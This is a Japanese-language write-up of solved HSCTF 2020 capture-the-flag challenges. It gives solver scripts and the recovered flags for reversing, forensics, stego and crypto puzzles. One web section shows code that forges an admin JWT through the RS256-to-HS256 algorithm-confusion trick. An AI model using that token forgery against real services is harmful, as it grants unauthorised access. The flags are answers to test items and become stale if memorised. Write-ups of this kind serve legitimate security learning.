この大会は2020/6/1 21:00(JST)~2020/6/6 9:00(JST)に開催されました。
今回もチームで参戦。結果は5455点で1466チーム中70位でした。
自分で解けた問題をWriteupとして書いておきます。
Does CTFd Work? (Miscellaneous)
問題にフラグが書いてあった。
flag{y3S_i7_d03s_3xcl4m4710n_m4rk_890d9a0b}
Discord Flag (Miscellaneous)
Disordに入り、#generalチャネルのトピックを見ると、フラグが書いてあった。
flag{good_luck_have_fun}
Primes (Miscellaneous)
ランダムに見える文字列だが、"{" や "}"が入っている。
fe7l1Owa85YA9g8CELs3F{H11s1o258p6hOo77di7Y0V83M... * * * * * 2 3 5 7
どうやら小さい順に素数の分だけ間を開けて読めばよさそう。
import gmpy2 primes = 'fe7l1Owa85YA9g8CELs3F{H11s1o258p6hOo77di7Y0V83M1feBdNeP3QuS9G7LVjd8EZUei9NOi3p3p9jKcbiUYsy4zA6P88Y7NP73jiLFW4nl8m6xN3LcHttxA2ML73J68g2PtR52926v1sDi22KE9VhBT8kgc26581q2pP77_bTZ6XPBR3iRT7Jbo9YvsEUiXE6Lv4y790z5wu145p6W8Mc6l38tCBPfCq30P7fXD2652g1INKDF3EeUnXm6gLUWOZ9NKhFr19gAaVldd7FkjlMuqSaNW3E0BEt4_6y8C35pI6y7IWQoimXQgkIZTR19Z21e33er4YENvt4paILApj4nwPiDpLFJP8UP0wTZNGN2grACDd6h5MfTWlxpdY8iF79uK38Rn7lFzU15Y6gTA2FSz5163C4eWTI80c5o9OANDD6WZ0T8M5SC42t6CANB4rDNJH49J9aQQdE6ylWR23c7337ex7vp4KLI9xYpvBDC0E7VgSZXkE186uDA93lMRNeZ1ynL31hntD9vZQ4V18sd9lWyt433B2jX843A77E8Sl22ds46y640C1q3QthAov3LuB24n9nq3y5f0pJ9E67ECu5g8w29PIuUR2VLhwX1b3IdhykJ8p8mimNxRPYrGEnMeXoWulV0tTtz_DBz56b3GXi29LWfyw0AkSDIYCG583yCQcEepP1Sj8LL76R0tKMo38K099uGz17S8N84e1h1Z5576xa0u46e083hHN2m368wN34Eigw5VjG1Gh315UqjQr9ff3Ip0m82m8Rm8JT380miS8aC61zS2K4W6o1ymg0nWB977XNc0iu7ee9b142UJhprY4Hh35s1TaKc221Q2ip1KX02p6ny96Ay3TIyn9m30qXxc4lKQZxK899BhD98RuX32B03dJUi5iL3kQA0B0o4D4Tgq4FTD5JNKJg8Kg5aibRsn9GeOq3E8big7nPKWqUM8SlHd70iHD8Ciw4XhntUTM9dBPPspkbYL783096NUMRG766Av9A4B3fn1o2CYTO9sG8u2Kqk0VekGq20inkHM141pogz69Ng91dnk5wWQRJ8i0Q14MtfFA0hORWW775bM0jJ2R1sb24KhbbD42V1Qb5s9N36fZ2BpFJR7mR6cKE8Ot7drG92BQ692PLrPbHfbV8QxH4rc9SpTb5RGchC5kB5}c1CHsMd05v3Fmo3YeT7EaduRD2Q6eOrKbAWn' i = 0 p = 1 flag = '' while True: flag += primes[i] p = gmpy2.next_prime(p) i += p + 1 if i >= len(primes): break print flag
flag{h1din9_1n_pl41n_519ht}
Pythagorean Tree Fractal 1 (Algorithms)
Stage 1 = 1 Stage 2 = 1 + 2 Stage 3 = 1 + 2 + 4 Stage N = 1 + 2 + 4 + ... + 2**(N-1)
等比級数の和になるので、2**N - 1と表せる。
N=50の場合はこうなる。
>>> 2**50-1 1125899906842623L
flag{1125899906842623}
AP Lab: Computer Science Principles (Reverse Engineering)
javaのコードが添付されている。このコードを見ると、inpに対して、以下の条件を満たすものを求める必要があることがわかる。
・長さ18 ・shift->shift2が"inagzgkpm)Wl&Tg&io" shift:ASCIIコードをインデックスだけマイナスした文字 shift2:ASCIIコードをASCIIコードの桁数だけプラス(2or3)
逆算してinp(=flag)を求める。
def rev_shift(s): d = '' for i in range(len(s)): code = ord(s[i]) + i d += chr(code) return d def rev_shift2(s): d = '' for c in s: code = ord(c) - 2 if len(str(code)) == 2: d += chr(code) else: code -= 1 if len(str(code)) == 3: d += chr(code) else: print 'error' return '' return d enc = 'inagzgkpm)Wl&Tg&io' flag = rev_shift(rev_shift2(enc)) print flag
flag{intr0_t0_r3v}
AP Lab: English Language (Reverse Engineering)
javaのコードが添付されている。このコードを見ると、inpに対して、以下の条件を満たすものを求める必要があることがわかる。
・長さ23 ・以下を3回繰り返し、その結果が"1dd3|y_3tttb5g`q]^dhn3j"になる。 transpose() xor() trancepose: 置換 xor: XOR
逆算してinp(=flag)を求める。
def rev_transpose(s): tbl = [11, 18, 15, 19, 8, 17, 5, 2, 12, 6, 21, 0, 22, 7, 13, 14, 4, 16, 20, 1, 3, 10, 9] d = '' for i in range(len(s)): d += s[tbl.index(i)] return d def xor(s): keys = [4, 1, 3, 1, 2, 1, 3, 0, 1, 4, 3, 1, 2, 0, 1, 4, 1, 2, 3, 2, 1, 0, 3] d = '' for i in range(len(s)): d += chr(ord(s[i]) ^ keys[i]) return d enc = '1dd3|y_3tttb5g`q]^dhn3j' flag = enc for i in range(3): flag = xor(flag) flag = rev_transpose(flag) print flag
flag{n0t_t00_b4d_r1ght}
Recursion Reverse (Reverse Engineering)
javaのコードが添付されている。このコードを見ると、guessに対して、以下の条件を満たすものを求める必要があることがわかる。
・長さ12 ・flagTransformed()の結果、"I$N]=6YiVwC"になる。 flagはflag{<guess>}の形式
javaだと、pickNumは現実的な時間で返ってくるので、そのまま逆算して元の文字列を求める。
public class Solve { static int num = 0; public static void main(String[] args) { String target = "I$N]=6YiVwC"; char[] temp = target.toCharArray(); char[] transformed = new char[12]; for(int i = 11; i >= 0; i--) transformed[11-i] = temp[i]; System.out.print("flag{"); for(int i = 0; i < 12; i++) { num = 1; int code = ((((int)transformed[i] - pickNum(i + 1)) % 127) + 127) % 127; System.out.print((char)code); } System.out.println("}"); } private static int pickNum(int i) { for(int x = 0; x <= i; x++) num+=x; if(num % 2 == 0) return num; else num = pickNum(num); return num; } }
flag{AscII is key}
Ice Cream Bytes (Reverse Engineering)
javaのコードが添付されている。このコードを見ると、userInputに対して以下の条件を満たすものを求める必要があることがわかる。
userInput: flag{}を含んだ文字列 input: flag{}を外した文字列 loadBytes: 以下を順に行った後のbyte文字列 ・strawberryShuffle ・vanillaShuffle ・chocolateShuffle ・toppings correctBytes: fillMachineを実行してあられた固定byte文字列 loadBytesと同じなら、入力文字列は正しい。 ■strawberryShuffle ・逆順にする。 ■vanillaShuffle ・偶数番目の文字は1プラス ・奇数番目の文字は1マイナス ■chocolateShuffle ・偶数番目の文字は右へ2シフト ・奇数番目の文字は左へ2シフト ■toppings ・toppingのbyte配列だけプラス
toppingsから逆に戻していく。
import java.io.*; import java.nio.file.*; public class Solve { public static void main(String[] args) throws IOException { Path path = Paths.get("IceCreamManual.txt"); byte[] manualBytes = Files.readAllBytes(path); byte[] correctBytes = fillMachine(manualBytes); byte[] input = strawberryShuffle(rev_vanillaShuffle(rev_chocolateShuffle(rev_toppings(correctBytes)))); System.out.println(String.format("flag{%s}", new String(input))); } public static byte[] fillMachine(byte[] inputIceCream) { byte[] outputIceCream = new byte[34]; int[] intGredients = {27, 120, 79, 80, 147, 154, 97, 8, 13, 46, 31, 54, 15, 112, 3, 464, 116, 58, 87, 120, 139, 75, 6, 182, 9, 153, 53, 7, 42, 23, 24, 159, 41, 110}; for (int i = 0; i < outputIceCream.length; i++) { outputIceCream[i] = inputIceCream[intGredients[i]]; } return outputIceCream; } public static byte[] strawberryShuffle(byte[] inputIceCream) { byte[] outputIceCream = new byte[inputIceCream.length]; for (int i = 0; i < outputIceCream.length; i++) { outputIceCream[i] = inputIceCream[inputIceCream.length - i - 1]; } return outputIceCream; } public static byte[] rev_vanillaShuffle(byte[] inputIceCream) { byte[] outputIceCream = new byte[inputIceCream.length]; for (int i = 0; i < outputIceCream.length; i++) { if (i % 2 == 0) { outputIceCream[i] = (byte)(inputIceCream[i] - 1); } else { outputIceCream[i] = (byte)(inputIceCream[i] + 1); } } return outputIceCream; } public static byte[] rev_chocolateShuffle(byte[] inputIceCream) { byte[] outputIceCream = new byte[inputIceCream.length]; for (int i = 0; i < outputIceCream.length; i++) { if (i % 2 == 0) { if (i < outputIceCream.length - 3) { outputIceCream[i] = inputIceCream[i + 2]; } else { outputIceCream[i] = inputIceCream[0]; } } else { if (i > 1) { outputIceCream[i] = inputIceCream[i - 2]; } else { outputIceCream[i] = inputIceCream[inputIceCream.length - 1]; } } } return outputIceCream; } public static byte[] rev_toppings(byte[] inputIceCream) { byte[] outputIceCream = new byte[inputIceCream.length]; byte[] toppings = {8, 61, -8, -7, 58, 55, -8, 49, 20, 65, -7, 54, -8, 66, -9, 69, 20, -9, -12, -4, 20, 5, 62, 3, -13, 66, 8, 3, 56, 47, -5, 13, 1, -7,}; for (int i = 0; i < outputIceCream.length; i++) { outputIceCream[i] = (byte)(inputIceCream[i] - toppings[i]); } return outputIceCream; } }
flag{ic3_cr34m_byt3s_4r3_4m4z1n9_tr34ts}
dis (Reverse Engineering)
Disassembly of a: 3 0 LOAD_CONST 1 (0) 2 BUILD_LIST 1 4 LOAD_GLOBAL 0 (len) 6 LOAD_FAST 0 (s) 8 CALL_FUNCTION 1 10 BINARY_MULTIPLY 12 STORE_FAST 1 (o) 4 14 LOAD_GLOBAL 1 (enumerate) 16 LOAD_FAST 0 (s) 18 CALL_FUNCTION 1 20 GET_ITER >> 22 FOR_ITER 24 (to 48) 24 UNPACK_SEQUENCE 2 26 STORE_FAST 2 (i) 28 STORE_FAST 3 (c) 5 30 LOAD_FAST 3 (c) 32 LOAD_CONST 2 (2) 34 BINARY_MULTIPLY 36 LOAD_CONST 3 (60) 38 BINARY_SUBTRACT 40 LOAD_FAST 1 (o) 42 LOAD_FAST 2 (i) 44 STORE_SUBSCR 46 JUMP_ABSOLUTE 22 6 >> 48 LOAD_FAST 1 (o) 50 RETURN_VALUE Disassembly of b: 9 0 LOAD_GLOBAL 0 (zip) 2 LOAD_FAST 0 (s) 4 LOAD_FAST 1 (t) 6 CALL_FUNCTION 2 8 GET_ITER >> 10 FOR_ITER 22 (to 34) 12 UNPACK_SEQUENCE 2 14 STORE_FAST 2 (x) 16 STORE_FAST 3 (y) 10 18 LOAD_FAST 2 (x) 20 LOAD_FAST 3 (y) 22 BINARY_ADD 24 LOAD_CONST 1 (50) 26 BINARY_SUBTRACT 28 YIELD_VALUE 30 POP_TOP 32 JUMP_ABSOLUTE 10 >> 34 LOAD_CONST 0 (None) 36 RETURN_VALUE Disassembly of c: 13 0 LOAD_CONST 1 (<code object <listcomp> at 0x7ff31a16f0e0, file "vuln.py", line 13>) 2 LOAD_CONST 2 ('c.<locals>.<listcomp>') 4 MAKE_FUNCTION 0 6 LOAD_FAST 0 (s) 8 GET_ITER 10 CALL_FUNCTION 1 12 RETURN_VALUE Disassembly of <code object <listcomp> at 0x7ff31a16f0e0, file "vuln.py", line 13>: 13 0 BUILD_LIST 0 2 LOAD_FAST 0 (.0) >> 4 FOR_ITER 12 (to 18) 6 STORE_FAST 1 (c) 8 LOAD_FAST 1 (c) 10 LOAD_CONST 0 (5) 12 BINARY_ADD 14 LIST_APPEND 2 16 JUMP_ABSOLUTE 4 >> 18 RETURN_VALUE Disassembly of e: 16 0 LOAD_CONST 1 (<code object <listcomp> at 0x7ff31a16f240, file "vuln.py", line 16>) 2 LOAD_CONST 2 ('e.<locals>.<listcomp>') 4 MAKE_FUNCTION 0 6 LOAD_FAST 0 (s) 8 GET_ITER 10 CALL_FUNCTION 1 12 STORE_FAST 0 (s) 17 14 LOAD_CONST 3 (<code object <listcomp> at 0x7ff31a16f2f0, file "vuln.py", line 17>) 16 LOAD_CONST 2 ('e.<locals>.<listcomp>') 18 MAKE_FUNCTION 0 20 LOAD_GLOBAL 0 (b) 22 LOAD_GLOBAL 1 (a) 24 LOAD_FAST 0 (s) 26 CALL_FUNCTION 1 28 LOAD_GLOBAL 2 (c) 30 LOAD_FAST 0 (s) 32 CALL_FUNCTION 1 34 CALL_FUNCTION 2 36 GET_ITER 38 CALL_FUNCTION 1 40 STORE_FAST 1 (o) 18 42 LOAD_GLOBAL 3 (bytes) 44 LOAD_FAST 1 (o) 46 CALL_FUNCTION 1 48 RETURN_VALUE Disassembly of <code object <listcomp> at 0x7ff31a16f240, file "vuln.py", line 16>: 16 0 BUILD_LIST 0 2 LOAD_FAST 0 (.0) >> 4 FOR_ITER 12 (to 18) 6 STORE_FAST 1 (c) 8 LOAD_GLOBAL 0 (ord) 10 LOAD_FAST 1 (c) 12 CALL_FUNCTION 1 14 LIST_APPEND 2 16 JUMP_ABSOLUTE 4 >> 18 RETURN_VALUE Disassembly of <code object <listcomp> at 0x7ff31a16f2f0, file "vuln.py", line 17>: 17 0 BUILD_LIST 0 2 LOAD_FAST 0 (.0) >> 4 FOR_ITER 16 (to 22) 6 STORE_FAST 1 (c) 8 LOAD_FAST 1 (c) 10 LOAD_CONST 0 (5) 12 BINARY_XOR 14 LOAD_CONST 1 (30) 16 BINARY_SUBTRACT 18 LIST_APPEND 2 20 JUMP_ABSOLUTE 4 >> 22 RETURN_VALUE Disassembly of main: 21 0 LOAD_GLOBAL 0 (input) 2 LOAD_CONST 1 ('Guess?') 4 CALL_FUNCTION 1 6 STORE_FAST 0 (s) 22 8 LOAD_CONST 2 (b'\xae\xc0\xa1\xab\xef\x15\xd8\xca\x18\xc6\xab\x17\x93\xa8\x11\xd7\x18\x15\xd7\x17\xbd\x9a\xc0\xe9\x93\x11\xa7\x04\xa1\x1c\x1c\xed') 10 STORE_FAST 1 (o) 23 12 LOAD_GLOBAL 1 (e) 14 LOAD_FAST 0 (s) 16 CALL_FUNCTION 1 18 LOAD_FAST 1 (o) 20 COMPARE_OP 2 (==) 22 POP_JUMP_IF_FALSE 34 24 24 LOAD_GLOBAL 2 (print) 26 LOAD_CONST 3 ('Correct!') 28 CALL_FUNCTION 1 30 POP_TOP 32 JUMP_FORWARD 8 (to 42) 26 >> 34 LOAD_GLOBAL 2 (print) 36 LOAD_CONST 4 ('Wrong...') 38 CALL_FUNCTION 1 40 POP_TOP >> 42 LOAD_CONST 0 (None) 44 RETURN_VALUE
Pythonコードに戻すと、以下のようになる。
def a(s): o = [0] * len(s) for i, c in enumerate(s): o[i] = c * 2 - 60 return o def b(s, t): for x, y in zip(s, t): yield x + y - 50 def c(s): return [c + 5 for c in s] def e(s): s = [ord(c) for c in s] o = [(c ^ 5) - 30 for c in b(a(s), c(s))] return bytes(o) def main(): s = input('Guess?') o = b'\xae\xc0\xa1\xab\xef\x15\xd8\xca\x18\xc6\xab\x17\x93\xa8\x11\xd7\x18\x15\xd7\x17\xbd\x9a\xc0\xe9\x93\x11\xa7\x04\xa1\x1c\x1c\xed' if e(s) == o: print('Correct!') else: print('Wrong...')
1文字ごとにしか計算しないので、ブルートフォースで1文字ずつ割り出す。
def a_chr(c): return c * 2 - 60 def b_chr(c1, c2): return c1 + c2 - 50 def c_chr(c): return c + 5 def e_chr(c): return chr(((b_chr(a_chr(c), c_chr(c)) ^ 5) - 30) % 256) enc = '\xae\xc0\xa1\xab\xef\x15\xd8\xca\x18\xc6\xab\x17\x93\xa8\x11\xd7\x18\x15\xd7\x17\xbd\x9a\xc0\xe9\x93\x11\xa7\x04\xa1\x1c\x1c\xed' flag = '' for i in range(len(enc)): for code in range(32, 127): if e_chr(code) == enc[i]: flag += chr(code) break print flag
flag{5tr4ng3_d1s45s3mbly_1c0a88}
Blurry Eyes (Web Exploitation)
Webページに何かぼやけているところがある。HTMLソースを見ると、こうなっている。
<h4>Anyways, the flag that you need for this cha<span class="blur">llenge is: <span class="poefKuKjNPojzLDf"></span></span></h4>
style.cssでpoefKuKjNPojzLDfクラスのところを見てみる。
.poefKuKjNPojzLDf:after { content: "f" "l" "a" "g" "{" "g" "l" "a" "s" "s" "e" "s" "_" "a" "r" "e" "_" "u" "s" "e" "f" "u" "l" "}" ; }
flag{glasses_are_useful}
Inspector Gadget (Web Exploitation)
HTMLソースのコメントにフラグが書いてあった。
flag{n1ce_j0b_0p3n1nG_th3_1nsp3ct0r_g4dg3t}
Broken Tokens (Web Exploitation)
適当な認証情報でログインすると、guestユーザでログインできる。クッキーのauthキーには以下のデータがセットされていた。
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdXRoIjoiZ3Vlc3QifQ.e3UX6vGuTGHWouov4s5HuKn6B5zbe0ZjxwHCB_OQlX_TcntJuj89x0RDi8gQi88TMoXSFN-qnFUQxillB_nD5ErrVZKL8HI5Ah_iQBX1xfu097H2xT3LAhDEceq4HDEQY-iC4TVSxMGM0AS_ItsVLBIrxk8tapcANvCW_KnO3mEFwfQOD64YHtapSZJ-kKjdN19lgdI_g-2nNI83P6TlgLtZ8vo1BB1zt_8b4UECSiPb67YCsrCYIIsABq5UyxSwgUpZsM6oxW0k1c4NbaUTnUWURG2qWDVw56svRQETU3YjO59AMj67n9r9Y9NJ9FBlpHQ60Ck-mfL5JcmFE9sgVw
$ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9 | base64 -d {"typ":"JWT","alg":"RS256"} $ echo eyJhdXRoIjoiZ3Vlc3QifQ== | base64 -d {"auth":"guest"}
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20TokenにRS256をHS256にして、公開鍵で認証をすり抜けることができる脆弱性が載っていた。
この情報を元にHS256アルゴリズム版のtokenを作成する。
import jwt pubkey = open('publickey.pem', 'r').read() token = jwt.encode({"auth":"admin"}, key=pubkey, algorithm='HS256') print(token)
作成したtokenは以下の通り。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoIjoiYWRtaW4ifQ.RG-s7yRSjs3K9TqG-4pllqKY4PxnPPLxvZhAaDPRreE
これをクッキーのauthキーに設定して、リロードすると、フラグが表示された。
flag{1n53cur3_tok3n5_5474212}
Very Safe Login (Web Exploitation)
HTMLソースを見ると、認証情報がわかる。
<script> var login = document.login; function submit() { const username = login.username.value; const password = login.password.value; if(username === "jiminy_cricket" && password === "mushu500") { showFlag(); return false; } return false; } </script>
以下でログインすると、フラグが表示された。
Username: jiminy_cricket Password: mushu500
flag{cl13nt_51de_5uck5_135313531}
Meta Mountains (Forensics)
$ exiftool mountains_hsctf.jpg ExifTool Version Number : 10.80 File Name : mountains_hsctf.jpg Directory : . File Size : 5.3 MB File Modification Date/Time : 2020:06:01 21:41:47+09:00 File Access Date/Time : 2020:06:01 21:42:24+09:00 File Inode Change Date/Time : 2020:06:01 21:41:47+09:00 File Permissions : rwxrwxrwx File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Exif Byte Order : Little-endian (Intel, II) Compression : JPEG (old-style) Make : Canon Camera Model Name : part 1/3: flag{h1dd3n_w1th1n_★ Orientation : Horizontal (normal) X Resolution : 180 Y Resolution : 180 Resolution Unit : inches Software : part 2/3: th3_m0unta1ns_★ Modify Date : 2012:02:03 11:18:05 Artist : part 3/3: l13s_th3_m3tadata}★ Y Cb Cr Positioning : Centered Exposure Time : 1/160 F Number : 13.0 Exif Version : 0220 Date/Time Original : 2006:09:17 08:01:17 Create Date : 2006:09:17 08:01:17 Components Configuration : Y, Cb, Cr, - Compressed Bits Per Pixel : 5 Shutter Speed Value : 1/159 Aperture Value : 13.0 Exposure Compensation : 0 Max Aperture Value : 4.9 Metering Mode : Multi-segment Focal Length : 23.1 mm Flashpix Version : 0100 Color Space : Uncalibrated Exif Image Width : 2971 Exif Image Height : 1615 Focal Plane X Resolution : 10816.90141 Focal Plane Y Resolution : 10816.90141 Focal Plane Resolution Unit : inches Sensing Method : One-chip color area File Source : Digital Camera Custom Rendered : Normal Exposure Mode : Auto White Balance : Auto Digital Zoom Ratio : 1 Scene Capture Type : Standard Thumbnail Offset : 880 Thumbnail Length : 5752 XMP Toolkit : Image::ExifTool 11.50 Format : image/jpeg Date/Time Digitized : 2006:09:17 08:01:17-07:00 Native Digest : 36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;384FCE14B1C853B45798C1EF99200B01 Color Mode : RGB ICC Profile Name : HP w22 LCD Monitor Photometric Interpretation : RGB Planar Configuration : Chunky Samples Per Pixel : 3 Creator Tool : Adobe Photoshop CS3 Windows Metadata Date : 2008:08:03 15:49:10-07:00 Derived From : . Document ID : uuid:5B089736AE61DD11A70DFF3F4A45E46D Instance ID : uuid:5C089736AE61DD11A70DFF3F4A45E46D History : Image Width : 2971 Image Height : 1615 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1) Aperture : 13.0 Flash : No Flash Image Size : 2971x1615 Megapixels : 4.8 Scale Factor To 35 mm Equivalent: 4.8 Shutter Speed : 1/160 Thumbnail Image : (Binary data 5752 bytes, use -b option to extract) Circle Of Confusion : 0.006 mm Field Of View : 18.4 deg Focal Length : 23.1 mm (35 mm equivalent: 110.8 mm) Hyperfocal Distance : 6.56 m
EXIF情報の中にフラグが散りばめられていた。
flag{h1dd3n_w1th1n_th3_m0unta1ns_l13s_th3_m3tadata}
Mad Libs (Forensics)
Stegsolveで開き、[Analyse]-[Data Extract]からRGBのLSBのみをチェックすると、文章が出てきた。
flag{v3rB_n0uN_adj3ct1v3} Hi everyone. I'm Daniel Wang and I'm flipping water bottles to be your member for BSI Cyanoacrylate Club next year. As a word of the finite field, my traffic lights next year will be to leak, rage quit, table flip, and most importantly, cheat in CTFs. In addition want to keep the paper of the members of the club in my mind and make sure every single one of your cryptosystems are protesting and well represented among the republicans.
flag{v3rB_n0uN_adj3ct1v3}
Comments (Forensics)
7-zipでzipコメントを見ていく。
1.zip: f 2.zip: l 3.zip: a 4.zip: g 5.zip: { 6.zip: 4 7.zip: n 8.zip: 6 flag.txt: }
flag{4n6}
Evil Stego (Forensics)
$ zsteg out.png imagedata .. text: "\t\t\t\n\t\n\n\t\n" b1,r,lsb,xy .. text: "https://github.com/evil-steganography/evil-stego-1" b2,g,lsb,xy .. file: SoftQuad DESC or font file binary - version 4005 b2,g,msb,xy .. file: VISX image file b2,b,lsb,xy .. text: "UUUUUUUUUUUUo" b2,b,msb,xy .. text: "_UUUUUUUU" b4,g,lsb,xy .. file: 5View capture file b4,g,msb,xy .. file: VISX image file b4,b,lsb,xy .. text: "eDDDDDDW" b4,b,msb,xy .. text: "&\"\"\"\"\"\"ff*\"\"\""
https://github.com/evil-steganography/evil-stego-1にmain.pyがある。この画像のエンコード処理の概要は以下の通り。
・encode ・新画像は元画像の幅で、高さ3倍 ・seed = [ランダム8bit整数]*4 →byte(seed)をrandomのseed設定 ・valid_spots = [(0, 0, 0), (1, 0, 0), ..., (0, 1, 0), (1, 1, 0), ..., (0, 0, 1), ...] ・metadata設定([固定文字列]+[seed]+[size(pack)]) ・metadataを1bitずつ順にLSBに設定 ・messageを1bitずつ順にLSBに設定
以上からLSBからデータを取り出し、フラグを抽出する。
#!/usr/bin/env python3 from PIL import Image from struct import unpack import random def bin_to_bytes(b): s = b'' for i in range(0, len(b), 8): code = int(b[i:i+8], 2) s += code.to_bytes(1, byteorder='little') return s img = Image.open('out.png').convert('RGB') w, h = img.size valid_spots = [] for channel in range(3): for y in range(h): for x in range(w): valid_spots.append((x, y, channel)) metadata_size = len(b'\x90\xbfhttps://github.com/evil-steganography/evil-stego-1') + 8 b_metadata = '' for i in range(metadata_size * 8): val = valid_spots[i] rgb = img.getpixel((val[0], val[1])) b_metadata += str(rgb[val[2]] & 1) metadata = bin_to_bytes(b_metadata) assert metadata[:-8] == b'\x90\xbfhttps://github.com/evil-steganography/evil-stego-1' seed = metadata[-8:-4] size = unpack('<I',metadata[-4:])[0] random.seed(seed) c = metadata_size * 8 locations = random.sample(valid_spots[c:], size * 8 + 1) b_message = '' for i in range(size * 8): val = locations[i] rgb = img.getpixel((val[0], val[1])) b_message += str(rgb[val[2]] & 1) message = bin_to_bytes(b_message) print(message)
flag{4b50lu73ly_b4rb4r1c_1403379d}
Picture Lab Activity 10 (Forensics)
PNGの形式が壊れているように見える。バイナリエディタで以下の箇所を修正する。
00000000-00000003 89 50 4e 47 0000000C 49 0000000E 44 00000026 44 00000028 54 0003DD2E-0003DD30 45 4E 44
PNG画像にフラグが書いてあった。
flag{and_y0u_th0ught_p1ctur3_l4b_was_h4rd}
XORed (Cryptography)
Key 1 = 5dcec311ab1a88ff66b69ef46d4aba1aee814fe00a4342055c146533 (=A) Key 1 ^ Key 3 = 9a13ea39f27a12000e083a860f1bd26e4a126e68965cc48bee3fa11b (=B) Key 2 ^ Key 3 ^ Key 5 = 557ce6335808f3b812ce31c7230ddea9fb32bbaeaf8f0d4a540b4f05 (=C) Key 1 ^ Key 4 ^ Key 5 = 7b33428eb14e4b54f2f4a3acaeab1c2733e4ab6bebc68436177128eb (=D) Key 3 ^ Key 4 = 996e59a867c171397fc8342b5f9a61d90bda51403ff6326303cb865a (=E) Flag ^ Key 1 ^ Key 2 ^ Key 3 ^ Key 4 ^ Key 5 = 306d34c5b6dda0f53c7a0f5a2ce4596cfea5ecb676169dd7d5931139 (=F)
以下のように順に割り出していく。
Key1 = A Key3 = Key1 ^ B Key4 = Key3 ^ E Key5 = Key1 ^ Key4 ^ D Key2 = Key3 ^ Key5 ^ C Flag = Key1 ^ Key2 ^ Key3 ^ Key4 ^ Key5 ^ F
from Crypto.Util.number import * A = 0x5dcec311ab1a88ff66b69ef46d4aba1aee814fe00a4342055c146533 B = 0x9a13ea39f27a12000e083a860f1bd26e4a126e68965cc48bee3fa11b C = 0x557ce6335808f3b812ce31c7230ddea9fb32bbaeaf8f0d4a540b4f05 D = 0x7b33428eb14e4b54f2f4a3acaeab1c2733e4ab6bebc68436177128eb E = 0x996e59a867c171397fc8342b5f9a61d90bda51403ff6326303cb865a F = 0x306d34c5b6dda0f53c7a0f5a2ce4596cfea5ecb676169dd7d5931139 Key1 = A Key3 = Key1 ^ B Key4 = Key3 ^ E Key5 = Key1 ^ Key4 ^ D Key2 = Key3 ^ Key5 ^ C Flag = Key1 ^ Key2 ^ Key3 ^ Key4 ^ Key5 ^ F flag = long_to_bytes(Flag) print flag
flag{n0t_t00_h4rD_h0p3fully}
Unexpected (Cryptography)
互いに最大公約数を取れば素因数分解できる。あとはそれぞれそのまま復号し、結合するとフラグになる。
from Crypto.Util.number import * N1 = 3895738302299059518129198422310169628530536557191890566210939781698372336257482186582163630847612416277492034959243510457939210010336159061758606919109259916143600981918456942199762738624796190838889500238780675229383463267807384154074134251073572174392024892486431125499446924573006208711810847272390619510395812856188247531815920797526102562723333957594242603466996229335924848954210939152042149332307810693239925149256224795031982752752336401872520016106145667479144091130160998875256860809091721275069193773739370057334041922519998813268278574260846083883264261920589114740823464192397850923545998904365370408113 N2 = 3036683903819675505741091164945461947189004916494633766372176282409409694958701211748277050499101511956962003835932755555293255586827283990400451317444723234406968971873530093281591689832798646915816609347861047534121792409030834659241904646743453387504496246791081682741245482378149293399372654558929658582070853972454887854658545741800574343930155288517185535533201220281739954820271979667081052363406511938025061398551356675540358212449132781674832812796443378476387659729623581274433769056775163718782871879747276327458473970177451591251859530403032170215968101310739004163533767679394201611410832974546802038041 N3 = 4793455677299549137382284585015750073239112414361680529255951318217960300841340399094743130287927996565298160174555422185410320841942637374406558835150138631140265626020072464652973386772727192540062051929655235552439145036105501434801984612127808829810146844869487529177642676245549299371487478280457673839725488195812744535928488844735950540356920273038857127652414836352483913807655170699520816765863272825856765769043174406026964068017257738085400965661973681558654658747878342173984592411085018242201038877382766239487564503728442821348064764166024851080258629751476765613997512620274759264076272801682962144457 E = 65537 C1 = 396708474546125804352894757436683688457291028695044217325853929491171136935487190613513217479209066321213697066977005912522338337419604329864854419961723570625025089500459612736934675744115710978556346050350466970024450696226499749911198313775828281699871502987873199226066403667788132060336882800770615332190939846610876881382430101512212915247532319827304296610854802037475047119525110795533529161852951539770153761419387662527094415537933400873451490021233979268224054475360645920086811082803271848565851436058022797610887635287190533293980480191482625531855511415716253479184799509403767653927424232672209598509 C2 = 355006513750551550798931713354683491263062473879176656452255051848683497534660576981575518851351256702360823676609578259232763677292692743319345273559085724516350773319337226043634439282120083618718026203533033564167432280901197175559735572797382863132012675404876908914335941746393221402727788260354881773319480220225939283398326940847106630716629330817737251316474369640273632208347751866683363389016722969822345738247486942531821199790024647950924227337611907877819668593060172268197128413003269501597578146759488894526193598933152416894414296396043283131502951693668167550687432080480619240585408701379144341703 C3 = 924835278307680480966328618545268895077532556525413716080960421925985654497130329688156219485942736928562517552888163928270855659413958949301590302010862666331053838345196518237383846281768395909801043955047640003147798786793258813501366000503338638933238548605016169865688228297750780710248359326295693845663887055907900967535999885217905972006140096240831305484619796964713673839223632057905454213937054336962510051529266336629730913756688411854427999570223208667606703681762027957427028839409594591627448224813082072169775916331655060221445546199171668136050686471357710989346885039441000083764142021784018773006 P = GCD(N1, N3) Q = GCD(N1, N2) R = GCD(N2, N3) phi1 = (P - 1) * (Q - 1) phi2 = (Q - 1) * (R - 1) phi3 = (P - 1) * (R - 1) d1 = inverse(E, phi1) d2 = inverse(E, phi2) d3 = inverse(E, phi3) m1 = pow(C1, d1, N1) m2 = pow(C2, d2, N2) m3 = pow(C3, d3, N3) pt1 = long_to_bytes(m1) pt2 = long_to_bytes(m2) pt3 = long_to_bytes(m3) flag = pt1 + pt2 + pt3 print flag
